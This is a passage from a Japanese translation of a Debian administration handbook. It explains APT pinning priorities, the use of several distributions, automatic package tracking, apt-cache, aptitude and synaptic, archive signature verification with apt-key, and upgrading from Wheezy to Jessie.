より具体的に言えば、0 より低い優先度を持つパッケージは決してインストールされません。0 より大きく 100 より少ない優先度を持つパッケージは、他のバージョンがインストールされていない場合に限り、インストールされます。100 以上で 500 より少ない優先度を持つパッケージは、インストール済みバージョンまたはターゲットリリース以外のディストリビューションに含まれるバージョンが自分のバージョンよりも新しい場合に限り、インストールされます。500 以上で 990 より少ない優先度を持つパッケージは、インストール済みのバージョンまたはターゲットリリースに含まれるバージョンが自分のバージョンよりも新しい場合に限り、インストールされます。990 以上で 1000 より少ない優先度を持つパッケージは、インストール済みバージョンが自分のバージョンよりも新しい場合を除いて、インストールされます。1000 以上の優先度を持つパッケージは、自分をインストールすることでパッケージのバージョンが低くなる場合でも、常にインストールされます。

`/etc/apt/preferences` の設定を評価する際、APT は最初に最も具体的なエントリ (明示的に対象のパッケージを指定しているエントリ)、その後に一般的なエントリ (たとえばあるディストリビューションのすべてのパッケージを対象にするエントリ) を評価します。一般的なエントリが複数存在する場合、最初にマッチしたものを使います。利用できる選択基準としてパッケージの名前とパッケージを配布しているパッケージソースがあります。各パッケージソースは APT が `Packages` と一緒にダウンロードする `Release` ファイルに含まれる情報によって区別されます。`Release` ファイルには、パッケージ供給元の名前 (公式ミラーのパッケージの場合、通常「Debian」ですが、人名やサードパーティリポジトリの組織名になる場合もあります)、ディストリビューションの名前 (Debian の提供する標準的なディストリビューションの場合、通常 **Stable** (安定版)、**Testing** (テスト版)、**Unstable** (不安定版)、**Experimental** (実験版))、バージョンの名前 (たとえば Debian **Jessie** なら 8) が書かれています。このメカニズムの実際のケーススタディを通じて、構文を見てみましょう。

SPECIFIC CASE

実験版の優先度

実験版のリポジトリが sources.list ファイルに書かれていたとしても、**実験版**に含まれるパッケージは決してインストールされません。なぜなら**実験版**に含まれるパッケージの優先度は 1 だからです。これはもちろん特例措置で、誤って**実験版**に含まれるパッケージをインストールするのを避けるためにこうなっています。**実験版**に含まれるパッケージをインストールする唯一の方法は aptitude install **package**/experimental と実行することです。こうすることでこのコマンドを実行するユーザは嫌でもリスクをとることに気付かされるでしょう。**実験版**に含まれるパッケージの優先度を 500 にして他のディストリビューションのパッケージと同列に扱うことも不可能ではありません (ただしこれは**お勧めできません**)。これを実現するには /etc/apt/preferences に以下のエントリを含めてください。

```
Package: *
Pin: release a=experimental
Pin-Priority: 500
```

Debian の安定版バージョンに含まれるパッケージだけを使いたいと仮定します。安定版以外のバージョンに含まれるパッケージは、明示的に要求されない限り、インストールされるべきではありません。この場合、/etc/apt/preferences ファイルに以下のエントリを書きます。

```
Package: *
Pin: release a=stable
Pin-Priority: 900

Package: *
Pin: release o=Debian
Pin-Priority: -10
```

a=stable の含まれるエントリはディストリビューションの名前が stable のパッケージの優先度を 900 にしています。o=Debian の含まれるエントリは、自分よりも前に評価されたエントリにマッチしなかった、共有元が「Debian」のパッケージの優先度を -10 にしています。

さらにここで、サーバには Perl バージョン 5.14 に依存するローカルプログラムがあり、アップグレードによって Perl の他のバージョンがインストールされないことを保証したいと仮定しましょう。この場合、以下のエントリを使います。

```
Package: perl
Pin: version 5.14*
Pin-Priority: 1001
```

マニュアルページ apt_preferences(5) には /etc/apt/preferences の記載方法に対する関連文書があります。これを表示するには man apt_preferences を使ってください。

TIP

/etc/apt/preferences 内のコメント

/etc/apt/preferences ファイルにコメントを記入する公式のやり方はありませんが、それぞれのエントリの前の行に「Explanation」フィールドを付けるとテキスト説明を記入できます。

```
Explanation: 実験版に含まれる xserver-xorg-video-intel
Explanation: パッケージは安全にお使いいただけます
Package: xserver-xorg-video-intel
Pin: release a=experimental
Pin-Priority: 500
```

6.2.6. 複数ディストリビューションの利用

apt は素晴らしいツールであり、他のディストリビューションに含まれるパッケージをインストールする際に力を発揮します。たとえば、**安定版**システムをインストールした後に**テスト版**や**不安定版**に含まれるソフトウェアのパッケージを試したいが、システムを最初の状態から大きく変更したくないという場合に力を発揮します。

パッケージごとに取得元ディストリビューションを変えていると、時々システムに問題が起きるかもしれませんが、apt はシステム内に複数のディストリビューションをうまく共存させ、危険のおよぶ範囲をうまく限定します。進むべき最善の道は、/etc/apt/sources.list に共存させるすべてのディストリビューションを書いて (常に 3 つのディストリビューションを書いている人もいますが、**不安定版**は経験豊富なユーザ向けであることを忘れないでください)、APT::Default-Release パラメータで基準ディストリビューションを定義することです (第 6.2.3 節「システムのアップグレード」111 ページを参照してください)。

安定版を基準ディストリビューションと仮定し、併せて**テスト版**と**不安定版**用のリポジトリも sources.list ファイルに書かれていると仮定します。この場合、**テスト版**に含まれるパッケージをインストールするには apt install **package**/testing を使います。依存関係の解決に失敗してインストールできなかった場合、-t testing パラメータを付けて**テスト版**を使って依存関係を解決させることが可能です。**不安定版**でも同じことが言えます。

この状況では、アップグレード (upgrade と full-upgrade) は、アップグレード対象のパッケージが既に他のディストリビューションからインストールされている場合を除き、**安定版**のパッケージを使います。他のディストリビューションからインストールされたパッケージは、自分が含まれていたディストリビューションに利用できる更新がある場合に限り、アップグレードされます。以下では、APT によって設定されたデフォルト優先度の助けを借りてこの挙動を説明します。パッケージの優先度を確認するには、遠慮なく apt-cache policy を使ってください (補注「 apt-cache policy」116 ページを参照してください)。

APT はインストール済みのパッケージに比べてバージョンが高いか同じのパッケージだけを考慮するという事実を知れば、すべてを理解できます (ここでは /etc/apt/preferences の中に一部のパッケージに対して 1000 より高い優先度を強制する設定がないと仮定します)。

TIP

apt-cache policy

優先度のメカニズムをさらに良く理解するためには、apt-cache policy を実行し、各パッケージソースに対して設定されているデフォルトの優先度を確認してください。また、あるパッケージの利用できるバージョンすべてに対する優先度を表示するために apt-cache policy **package** を使うことも可能です。

あるパッケージの、**安定版**に含まれるバージョン 1 がインストール済みで、**テスト版**と**不安定版**に含まれるバージョン 2 と 3 が利用できると仮定しましょう。インストール済みバージョンの優先度は 100 ですが、**安定版**に含まれるバージョン (インストール済みのバージョンと全く同じバージョン) の (ターゲットリリースに含まれるバージョンの) 優先度は 990 です。**テスト版**と**不安定版**に含まれるバージョンの優先度 (インストールされていないバージョンに対するデフォルト優先度) は 500 です。この場合、インストール済みのバージョン 1 が最も高い優先度 990 を持ちます。パッケージは「**安定版**のまま」です。

テスト版に含まれるバージョン 2 がインストール済みの場合について見てみましょう。**安定版**に含まれるバージョン 1 と**不安定版**に含まれるバージョン 3 が利用できます。バージョン 1 (優先度は 990。つまり 1000

より低いです) は、インストール済みバージョンよりもバージョンが低いため、無視されます。残るのはバージョン 2 か 3 ですが、両者の優先度は 500 です。優先度が同じ場合、APT は最も新しいバージョン、つまり**不安定版**に含まれるバージョン、を選択します。**テスト版**に含まれていたインストール済みバージョンを**不安定版**に含まれるバージョンに移行したくない場合、**不安定版**に含まれるバージョンに 500 よりも低い優先度 (たとえば 490 など) を割り当てないといけません。これを行うには、/etc/apt/preferences を以下のように修正してください。

```
Package: *
Pin: release a=unstable
Pin-Priority: 490
```

6.2.7. 自動的にインストールされたパッケージの追跡

apt の本質的な機能の 1 つに、依存関係によってのみインストールされたパッケージの追跡があります。これらのパッケージは「自動」と呼ばれ、たとえばライブラリなどがその一例です。

あるパッケージを削除する際に、パッケージマネージャは、この追跡情報を元に、既に不要となった自動パッケージを選び出すことができます (なぜなら、依存関係によってインストールされたパッケージのうち、「手作業でインストール」されていないパッケージは不要と判断できるからです)。不要になった自動パッケージを削除するには apt-get autoremove を使います。aptitude および apt にはこのコマンドがありません。なぜなら aptitude は不要な自動パッケージを見つけ次第自動的に削除しますし、apt はユーザが手作業でこのコマンドを実行するべきではないと考えているからです。どのプログラムを使った場合も、不要になった自動パッケージは分かりやすく表示されます。

直接的に使うわけではないパッケージを自動パッケージとしてマークするのは良い癖です。こうすれば、そのパッケージがいらなくなった時に自動的に削除されます。apt-mark auto **package** はパッケージを自動パッケージとしてマークし、逆に apt-mark manual **package** は手動パッケージとしてマークします。aptitude markauto と aptitude unmarkauto は同様に動きますが、多くのパッケージを同時にマークする機能を持っています (第 6.4.1 節「aptitude」119 ページを参照してください)。aptitude のコンソールベース対話型インターフェースを使うと、多くのパッケージの「自動パッケージフラグ」を容易に確認できます。

自動的にインストールされたパッケージがシステムに存在する理由を知りたい場合があるかもしれません。この情報をコマンドラインから得るには、aptitude why **package** を使ってください (apt および apt-get に同様の機能はありません)。

```
$ aptitude why python-debian
i   aptitude          推奨 apt-xapian-index
i A apt-xapian-index 依存 python-debian (>= 0.1.15)
```

ALTERNATIVE

deborphan と debfoster

apt、apt-get、aptitude にまだ自動パッケージを追跡する機能がなかった時代、不要なパッケージをリストアップするユーティリティが 2 つありました。具体的に言えば、deborphan と debfoster です。

deborphan は最も原始的なツールです。deborphan は単純に (他に指示のない限り) libs と oldlibs セクションを調べ、現在インストール済みで他のどのパッケージからも必要とされていないパッケージを探します。この結果は必要ないパッケージを削除するためのたたき台になります。

debfoster は APT とよく似たより複雑なアプローチを取ります。具体的に言えば、debfoster は明示的にインストールされたパッケージのリストを保存し、毎回起動される度に本当に必要なパッケージを記録します。debfoster が新しいパッケージをシステムに検出し、そのパッケージが必要か分からなかった場合、そのパッケージを依存関係のリストと一緒に画面に表示します。そして、選択肢を表示します。この選択肢の中には、パッケージを削除する (そのパッケージが依存するパッケージも一緒に削除するかもしれません)、明示的に必要とマークする、一時的にこれを無視するなどがあります。

6.3. apt-cache コマンド

apt-cache コマンドは APT の内部データベースに保存された情報の多くを表示できます。この情報は一種のキャッシュのようなもので、sources.list ファイル内のさまざまなソースから収集されます。収集は apt update の実行ごとに行われます。

VOCABULARY

キャッシュ

キャッシュとは (パフォーマンスの観点から) 通常のアクセス方法が高くつく場合に、頻繁なデータアクセスを高速化する目的で使われる一時的な保存システムです。キャッシュの概念は、数多くの状況と異なる規模に対して、たとえばマイクロプロセッサのコアや高性能のストレージシステムにさえも、応用できます。

APT の場合、基準になる Packages ファイルは Debian アーカイブミラーから提供されます。ですから、利用できるパッケージのデータベース内を検索する際に、毎回ネットワークを使うのはとても非効率的です。このため、APT は (/var/lib/apt/lists/ に) データベースのコピーを保存し、このコピーを使って検索します。同様に、/var/cache/apt/archives/ にはこれまでにダウンロードしたパッケージのキャッシュを保存しています。これは削除後の再インストール時に同じファイルをダウンロードするのを避けるためです。

apt-cache コマンドを apt-cache search **keyword** のように使うことで、キーワードを元にパッケージを検索することが可能です。さらに、apt-cache show **package** のように使うことで、利用できるバージョンのパッケージヘッダを表示することも可能です。このコマンドで、パッケージの説明、依存関係、メンテナの名前などの情報が表示されます。また、apt search、apt show、aptitude search、aptitude show も同様の機能を持っている点に注意してください。

ALTERNATIVE

axi-cache

apt-cache search はとても基本的なツールで、簡単に言ってしまえばパッケージ説明の grep 実装です。その結果の数は通常多すぎるか、逆にキーワードが多すぎれば全くないかのどちらかです。

一方、axi-cache search **term** は関連度順により良い結果を提供します。このコマンドは **Xapian** 検索エンジンを使い、全パッケージの情報 (とすべての Debian パッケージから提供される .desktop ファイル) をインデックス化している **apt-xapian-index** パッケージの一部です。axi-cache はタグ (補注「Tag フィールド」82 ページを参照してください) に関しても知っており、わずか数ミリ秒で結果を返します。

```
$ axi-cache search package use::searching
105 results found.
Results 1-20:
100% packagesearch - GUI for searching packages and viewing
    ➥ package information
98% debtags - Enables support for package tags
```

```
94% debian-goodies - Small toolbox-style utilities
93% dpkg-awk - Gawk script to parse /var/lib/dpkg/{status,
    ➥ available} and Packages
93% goplay - games (and more) package browser using DebTags
[...]
87% apt-xapian-index - maintenance and search tools for a
    ➥ Xapian index of Debian packages
[...]
More terms: search debian searching strigi debtags bsearch
    ➥ libbsearch
More tags: suite::debian works-with::software:package role::
    ➥ program interface::commandline implemented-in::c++
    ➥ admin::package-management use::analysing
'axi-cache more' will give more results
```

apt-cache にはあまり使われない機能もあります。たとえば、apt-cache policy はパッケージソースの優先度や、それぞれのパッケージの優先度を表示します。もう一つの例は apt-cache dumpavail で、これは全パッケージの利用できるバージョンのヘッダを表示します。apt-cache pkgnames は少なくとも 1 回キャッシュされた全パッケージのリストを表示します。

6.4. フロントエンド、aptitude、synaptic

APT は C++ プログラムで、libapt-pkg 共有ライブラリがその機能の多くを担っています。共有ライブラリを使うとユーザインターフェース (フロントエンド) の作成が楽になります。なぜなら、ライブラリに含まれるコードは簡単に再利用できるからです。歴史的に言って、apt-get は libapt-pkg のテスト用フロントエンドとして設計されましたが、成功を収めたためにその事実は曖昧にされがちです。

6.4.1. aptitude

aptitude は対話型プログラムで、コンソールの準グラフィカルモードを備えています。aptitude を使うと、インストール済みや利用できるパッケージのリストを閲覧したり、すべての利用できる情報を調べたり、インストールや削除するパッケージを選択できます。aptitude は特に管理者が使うように設計されました。そのため、aptitude のデフォルトの挙動は apt-get よりもずっと合理的で、インターフェースはより理解されやすいものになっています。

```
 アクション  取り消し  パッケージ  問題解決  検索  オプション  表示  ヘルプ
C-T: メニュー  ?: ヘルプ  q: 終了  u: 更新  g: パッケージの 取得/導入/削除
aptitude 0.6.11
--\ インストール済みのパッケージ (1820)
  --\ admin - 管理ユーティリティ (ソフトウェアインストール・ユーザ管理など) (74)
    --\ main - Debian のメインアーカイブ (74)
i A   accountsservice                                  0.6.37-3+b1    0.6.37-3+b1
i     acpi-support-base                                0.142-6        0.142-6
i     acpid                                            1:2.0.23-2     1:2.0.23-2
i     adduser                                          3.113+nmu3     3.113+nmu3
i A   anacron                                          2.3-23         2.3-23
i A   apg                                              2.2.3.dfsg.1-2 2.2.3.dfsg.1-2
i     apt                                              1.0.9.8        1.0.9.8
i     apt-utils                                        1.0.9.8        1.0.9.8
i     aptitude                                         0.6.11-1+b1    0.6.11-1+b1
端末ベースのパッケージマネージャ
aptitude はパッケージマネージャであり、以下を含む数多くの便利な機能があります:
* マッチさせたいパッケージを柔軟に指定できる mutt ライクな文法
* dselect と同様の、ユーザによるアクションの保持
* 多くのパッケージにある Debian changelog を取得して表示する機能
* apt-get に似たコマンドラインモード

また、aptitude は 2000 年問題にも対応しており、肥大化しておらず、自然に洗練
された扱いやすいソフトウェアです。
ホームページ: http://aptitude.alioth.debian.org/


タグ: admin::configuring, admin::package-management, implemented-in::c++,
```

図 6.1　aptitude パッケージマネージャ

aptitude は起動すると、状態ごとに分類したパッケージのリストを表示します (インストール済み、未インストール、インストール済みだがミラーから利用不可、タスク、仮想パッケージ、最近ミラーに登場した新しいパッケージなどの状態ごとに分類されます)。さらに、パッケージリストをテーマ別に簡便に閲覧できるビューも用意されています。すべての場合について、aptitude はカテゴリとパッケージを併せたリストを画面に表示します。カテゴリは木構造を使って系統付けられ、木構造の枝は Enter、[、] キーで開いたり閉じたりできます。+ はインストールマーク、- は削除マーク、_ は完全削除マークをパッケージに対して付け加えるのに使われます (マーク操作はカテゴリに対しても適用できる点に注意してください。この場合、カテゴリ内のすべてのパッケージに対して対応するマーク操作を行います)。u は利用できるパッケージのリストを更新、Shift+u はシステム全体のアップグレードを準備します。g は要求された変更操作の要約ビューに切り替えます (もう一度 g を打てば変更を適用します)。q は現在のビューを閉じます (ビューが一つしか残っていない場合 aptitude を閉じます)。

DOCUMENTATION
aptitude

この節では aptitude の詳細な使い方を述べるのではなく、aptitude を活用して生き残るための知恵を与えることに注力します。aptitude の文書は比較的詳しく書かれており、**aptitude-doc-ja** パッケージから利用できるプログラムの完全なマニュアルを使うことをお勧めします (/usr/share/doc/aptitude/html/ja/index.html をご覧ください)。

aptitude でパッケージを検索するには、/ を押して、検索パターンを入力してください。この検索パターンはパッケージの名前に対して検索を行いますが、説明文 (~d を先頭に付けた場合)、セクション (~s)、その他の属性の内容に対してを検索を行うことも可能です。詳しくは文書を参照してください。同じ検索パターンを使って、表示されるパッケージを選別することも可能です。これを行うには、l キー (**limit** の意味) を押して検索パターンを入力してください。

aptitude を使えば簡単に Debian パッケージの「自動フラグ」を管理できます (第 6.2.7 節「自動的にインストールされたパッケージの追跡」117 ページを参照してください)。aptitude を使えば、インストール済みパッケージのリストを閲覧したり、Shift+m キーでパッケージに自動マークを付けたり、m キーでそのマーク

を消したりすることが可能です。「自動的にインストールされたパッケージ」はパッケージリスト上で「A」を付けて表示されています。「自動フラグ」管理機能により、マシンで利用されている全パッケージから、全く関心のないライブラリと依存関係を除外したパッケージのリストを簡単に表示できます。これを行うには l (フィルタモードを有効化する) を押して検索パターン ~i!~M を入力します。これはインストール済みパッケージ (~i) から自動パッケージとしてマークされたパッケージを除外 (!~M) して表示することを意味しています。

TOOL

コマンドラインインターフェースで aptitude を使う

aptitude の機能のほとんどは対話型インターフェースだけでなくコマンドラインインターフェースからも利用できます。コマンドラインは apt-get と apt-cache を日常的に使っているユーザにとって身近なものでしょう。

aptitude の先進的な機能はコマンドラインからも使えます。パッケージ検索パターンは対話型インターフェースの場合と同じです。たとえば、「手作業でインストールされた」パッケージのリストを整理整頓したい場合、インストール済みでパッケージ管理下にないプログラムが特定のライブラリと Perl モジュールに依存していないと知っていれば、たった 1 つのコマンドで関連するパッケージを自動パッケージとしてマークすることが可能です。

```
# aptitude markauto '~slibs|~sperl'
```

この検索パターンは、libs と perl セクションに含まれる全パッケージを簡単に選択するものであり、aptitude で使える検索パターンシステムの力を明確に表しています。

aptitude は、自動パッケージとしてマークされているパッケージが他のパッケージから依存関係に指定されていない場合、その自動パッケージをすぐに (削除要求を確認した後に) 削除します。この点に気を付けてください。

推奨パッケージ、提案パッケージ、タスクの管理

aptitude が提供するもう 1 つの興味深い特徴は、パッケージ間の推奨関係を尊重する点です。とは言うものの、個々の場合に応じて、推奨パッケージをインストールしないようにすることも可能です。たとえば、**gnome** パッケージは (数ある中でも特に) **gdebi** のインストールを推奨しています。**gnome** をインストールするよう選んだ場合、同時に **gdebi** も選ばれます (既にシステムにインストール済みでない限り、自動パッケージとしてマークされます)。保留中の操作を確認するには、g と入力してください。そうすると、依存関係を満足させる目的で自動的にインストールされたパッケージがまとめられているリスト中に **gdebi** が表示されます。しかしながら、操作の承認前にインストールマークを外すことで、パッケージをインストールしないようにできます。

aptitude を使ってパッケージのアップグレードを行う場合、上で述べた推奨関係を追跡してインストールパッケージを自動選択する機能が作動しない点に注意してください。たとえば、**gnome** の新バージョンが、以前推奨していなかったパッケージを推奨している場合、推奨されているパッケージは選択されません。しかしながら、管理者がインストールの可否を選択できるように、新しい推奨パッケージはアップグレード画面に表示されます。

さらに、aptitude はパッケージ間の提案関係を考慮しますが、そのやり方はパッケージを特定の表示状態にするだけです。たとえば、**gnome** は **dia-gnome** を提案しているので、**dia-gnome** は保留中の操作の要約画面 (他のパッケージによって提案されたパッケージのセクションの中) に表示されるでしょう。このように、提案されたパッケージは一覧に表示され、管理者はこの提案に従ってインストールするか否かを決めます。パッケージ間の提案関係とは依存関係でも推奨関係でもないので、提案されたパッケージは自動的にインス

トールマークを付けられません。つまり、ユーザがインストールするか否かを手作業で選択します (このため、提案されたパッケージは自動パッケージとしてマークされません)。

同様の観点から aptitude はタスクの概念をうまく取り扱うことにも触れておきます。タスクはパッケージリストの画面内にカテゴリとして表示されるため、ユーザはタスクのインストールおよび削除を、タスク全体に対して適用するか、タスクのパッケージの一部を選択してそれらに適用するかを選ぶことが可能です。

より良い解決アルゴリズム

この節を締め括るにあたり、aptitude は apt-get に比べてより複雑なアルゴリズム使って難しい状況を解決するという点に触れておきます。一連の操作のすべての操作を適用するとシステムの整合性が失われる場合、aptitude はいくつかの解決策を検討し、適用後の整合性が高い順に解決策を提示します。しかしながら、このアルゴリズムは単なるケアレスミスの予防策ではありません。幸いなことに、ユーザは常に手作業で適用する操作を選択できます。現在選択された操作によってシステムの整合性が失われる場合、画面の上の方に「壊れた」パッケージの数が表示されます (手作業で「壊れた」パッケージに移動するには b を押してください)。そして、見つかった問題を手作業で解決することも可能です。具体的に言うと、Enter でパッケージを選択すれば、利用できる複数のバージョンを確認できます。複数のバージョンから 1 つ選ぶだけで問題が解決されるなら、迷わずこの機能を使うべきです。壊れたパッケージの数がゼロになったら、操作適用前の最終確認のために、保留中の操作の要約画面に問題なく移動できるはずです。

NOTE

aptitude のログ

dpkg と同様に、aptitude は実行した操作をログファイル (/var/log/aptitude) に記録します。しかしながら、dpkg と aptitude は全く異なる階層で動いているので、それぞれのログファイルには異なる情報が含まれます。dpkg が各パッケージに対して行ったすべての操作を 1 つずつ記録するのに対し、aptitude はシステム全体のアップグレードなどの高レベル操作に対するより全体的な情報を記録します。

/var/log/aptitude には、aptitude が実行した操作の要約だけが含まれる点に注意してください。途中で他のフロントエンド (または dpkg 自身) が使われた場合、aptitude のログには、操作全体の一部分しか記録されません。このため、信頼できるシステムの履歴を確認したい場合に、/var/log/aptitude は頼りになりません。

6.4.2. synaptic

synaptic は Debian 用のグラフィカルパッケージマネージャで、GTK+/GNOME を使った簡便で効率的なグラフィカルインターフェースです。数多くのすぐに使えるフィルタのおかげで、新しく利用できるようになったパッケージ、インストール済みパッケージ、アップグレードできるパッケージ、時代遅れのパッケージなどを素早く確認できます。これらのリストを通じてパッケージを閲覧しているならば、閲覧中のパッケージに対して実行する操作 (インストール、アップグレード、削除、完全削除) を選択できます。さらに、これらの操作はすぐに実行されるのではなく、まずは操作リストに追加されます。ボタンを一度クリックするだけで、操作の正当性が検証され、操作は一度に実行されます。

図 6.2　synaptic パッケージマネージャ

6.5. パッケージ信頼性の確認

Falcot Corp の管理者にとって、セキュリティはとても重要です。つまり管理者は、パッケージが途中で改竄されていないこと、確かに Debian から提供されていることを確認し、確認のとれたパッケージだけをインストールしなければいけません。コンピュータクラッカーは、他の合法的なパッケージに悪意あるコードを追加しようと試みます。そのようなパッケージがインストールされた場合、クラッカーが設計したことは何でも、たとえばパスワードや機密情報の漏洩などでも、実行されます。この危険性を回避するために、Debian は不正改竄を防ぐ封印を提供し、インストール時にそのパッケージが公式メンテナから提供されたものと本当に同じこと、第三者によって変更されていないことを保証しています。

この封印は一連の暗号学的ハッシュと署名を使って行われます。署名されたファイルは Release ファイルで、Debian アーカイブミラーから提供されます。Release ファイルには、Packages ファイル (Packages.gz、Packages.xz、そして増分バージョンの圧縮形式など) のリストおよびそれが改竄されていないことを保証するための MD5、SHA1、SHA256 ハッシュが含まれています。Packages ファイルには、ミラーで提供されている Debian パッケージのリストおよびパッケージの内容が変更されていないことを保証するハッシュが含まれています。

信頼された鍵は **apt** パッケージから提供される apt-key コマンドで管理されます。apt-key は GnuPG 公開鍵の鍵束をメンテナンスし、この鍵束はミラーから提供される Release.gpg ファイルに含まれる署名を検証するために使われます。新しい鍵を手作業で追加する場合にも使われます (非公式ミラーを使うためにはこの作業が必要です)。しかしながら一般的に、公式の Debian 鍵以外は不要です。これらの鍵は **debian-archive-keyring** パッケージによって自動的に最新の状態に維持されます (対応する鍵束を /etc/apt/trusted.gpg.d に格納します)。しかしながら、**debian-archive-keyring** パッケージを初めてインストールする際には用心が必要です。すなわち、たとえ **debian-archive-keyring** パッケージが他のパッケージと同様に署名されて

いたとしても、その署名を外部から検証できません。そんなわけで、注意深い管理者なら新しいパッケージをインストールするために取り込まれた鍵を信用する前にその鍵の指紋を確認するべきです。

```
# apt-key fingerprint
/etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg
-----------------------------------------------------------
pub   4096R/2B90D010 2014-11-21 [満了: 2022-11-19]
                 指紋 = 126C 0D24 BD8A 2942 CC7D  F8AC 7638 D044 2B90 D010
uid                  Debian Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg
--------------------------------------------------------------------
pub   4096R/C857C906 2014-11-21 [満了: 2022-11-19]
                 指紋 = D211 6914 1CEC D440 F2EB  8DDA 9D6D 8F6B C857 C906
uid                  Debian Security Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg
-------------------------------------------------------
pub   4096R/518E17E1 2013-08-17 [満了: 2021-08-15]
                 指紋 = 75DD C3C4 A499 F1A1 8CB5  F3C8 CBF8 D6FD 518E 17E1
uid                  Jessie Stable Release Key <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-squeeze-automatic.gpg
-----------------------------------------------------------
pub   4096R/473041FA 2010-08-27 [満了: 2018-03-05]
                 指紋 = 9FED 2BCB DCD2 9CDF 7626  78CB AED4 B06F 4730 41FA
uid                  Debian Archive Automatic Signing Key (6.0/squeeze) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-squeeze-stable.gpg
--------------------------------------------------------
pub   4096R/B98321F9 2010-08-07 [満了: 2017-08-05]
                 指紋 = 0E4E DE2C 7F3E 1FC0 D033  800E 6448 1591 B983 21F9
uid                  Squeeze Stable Release Key <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-wheezy-automatic.gpg
----------------------------------------------------------
pub   4096R/46925553 2012-04-27 [満了: 2020-04-25]
                 指紋 = A1BD 8E9D 78F7 FE5C 3E65  D8AF 8B48 AD62 4692 5553
uid                  Debian Archive Automatic Signing Key (7.0/wheezy) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-wheezy-stable.gpg
-------------------------------------------------------
pub   4096R/65FFB764 2012-05-08 [満了: 2019-05-07]
                 指紋 = ED6D 6527 1AAC F0FF 15D1  2303 6FB2 A1C2 65FF B764
uid                  Wheezy Stable Release Key <debian-release@lists.debian.org>
```

IN PRACTICE

信頼された鍵の追加

第三者のパッケージソースを sources.list に追加したら、APT に対してパッケージソースに対応する GPG 認証鍵を信頼することを伝える必要があります (そうでなければ、APT はそのパッケージソースから提供されるパッケージの信頼性を保証できないとエラーを出し続けます)。最初のステップはもちろん公開鍵を手に入れることです。大抵の場合、公開鍵は小さなテキストファイルの形で配布されています。以降の例ではこの公開鍵を key.asc と呼びます。

信頼された鍵束へ key.asc に含まれる鍵を追加するために、管理者は apt-key add < key.asc を実行します。また別の方法として synaptic グラフィカルインターフェースを利用することも可能です。具体的に言えば、設定 (S) → リポジトリ (R) メニューの「認証」タブで key.asc から鍵を取り込みます。

専用のアプリケーションを使いたかったり、信頼された鍵の詳細を知りたい人は gui-apt-key (同名のパッケージに含まれます) を使うことも可能です。gui-apt-key は質素なユーザインターフェースで信頼された鍵束を管理します。

適切な鍵を鍵束の中に追加すれば、APT は危険性の高い操作の前に署名を確認します。こうすることで、信頼性が確定できないパッケージをインストールするよう要求された場合に、フロントエンドは警告を表示するようになります。

6.6. 安定版から次のディストリビューションへのアップグレード

Debian の最もよく知られた特色の 1 つに、インストールされたシステムを安定版から次の安定版にアップグレードできることが挙げられます。そして有名なサブコマンドである **dist-upgrade** はプロジェクトの評判に大きく寄与し続けています。いくつかの事前準備に必要な時間を含めても、コンピュータのアップグレードに必要な時間はパッケージリポジトリからのダウンロード速度に依存してわずか数分から数十分です。

6.6.1. 推奨手順

Debian の安定版は次のリリースまでの間にかなり長い時間をかけて大きく進化するので、アップグレードの前にリリースノートを読むべきです。

BACK TO BASICS

リリースノート

オペレーティングシステムの (より一般的に言えば、ソフトウェアの) リリースノートはソフトウェアの概観と、あるバージョンに固有な点の詳細を説明する文書です。リリースノートは通常、完全な文書に比べて短く、前のバージョン以降導入された機能をリストアップしています。加えて、アップグレード手順の詳細、以前のバージョンのユーザに対する警告、そして時々正誤表を含んでいます。

Debian のリリースノートはオンライン上で利用できます。すなわち、現在の安定版に対するリリースノートには専用の URL が割り当てられ、古いリリースに対するリリースノートにはコードネームを含んだ URL が割り当てられています。

➨ `http://www.debian.org/releases/stable/releasenotes`

➨ `http://www.debian.org/releases/wheezy/releasenotes`

この節では、特に **Wheezy** システムを **Jessie** にアップグレードを行う場合について解説します。システムのアップグレードはシステムに甚大な変更を加えます。このため、危険が全くないわけではありません。アップグレードを行う前に、必ずすべての重要なデータをバックアップしてください。

アップグレードを簡単に (短時間で) 実行するために身に付けるべき良い癖の 1 つに、インストール済みパッケージを整理整頓し、本当に必要なものだけを残すことがあります。これを行う便利なツールが aptitude、deborphan、debfoster です (第 6.2.7 節「自動的にインストールされたパッケージの追跡」117 ページを参照してください)。たとえば以下のコマンドを実行した後、aptitude の対話型モードで削除予定としてマークされたパッケージの再確認と微調整を行うことができます。

```
# deborphan | xargs aptitude --schedule-only remove
```

次にシステムのアップグレードを行います。最初に /etc/apt/sources.list ファイルを書き換えて、APT にパッケージの取得先を **Wheezy** から **Jessie** に変更するよう伝えます。/etc/apt/sources.list ファイルの中でコードネームではなく**安定版**へのリファレンスを使っている場合、この変更は必要ありません。なぜなら、**安定版**は常に Debian の最新リリース版を指しているからです。どちらの場合でも、利用できるパッケージのデータベースを更新してください (apt update コマンドを実行するか synaptic の更新ボタンを押してください)。

新しいパッケージソースが登録されたら、真っ先に apt upgrade を使い、最小アップグレードを実行するべきです。アップグレードを 2 段階に分けて行うことにより、パッケージ管理ツールの作業が軽減されますし、パッケージ管理ツールが最新のバージョンになっていることが保証されます。また、最新のパッケージ管理ツールには、多くのバグ修正がなされているかもしれませんし、ディストリビューション全体のアップグレードを完了させるために必要な改善が含まれているかもしれません。

最小アップグレードが終了したら、apt full-upgrade、aptitude、synaptic のうちどれか 1 つを使って、ディストリビューション全体のアップグレードを行います。提案された操作を適用する前に注意深く確認するべきです。具体的に言えば、提案パッケージを追加したい場合や、推奨されたけれども使いにくいと知っているパッケージを除外したい場合があるかもしれません。いかなる場合でもフロントエンドは、整合性が保たれて最新の **Jessie** システムになるような、解決策を用意します。管理者に要求されるのは、パッケージがダウンロードされるまで待って、Debconf とマシンに合わせて変更された設定ファイルの保存可否に関する質問に答え、APT が作業を終えるまで見ているだけです。

6.6.2. アップグレードの後から問題を取り扱う

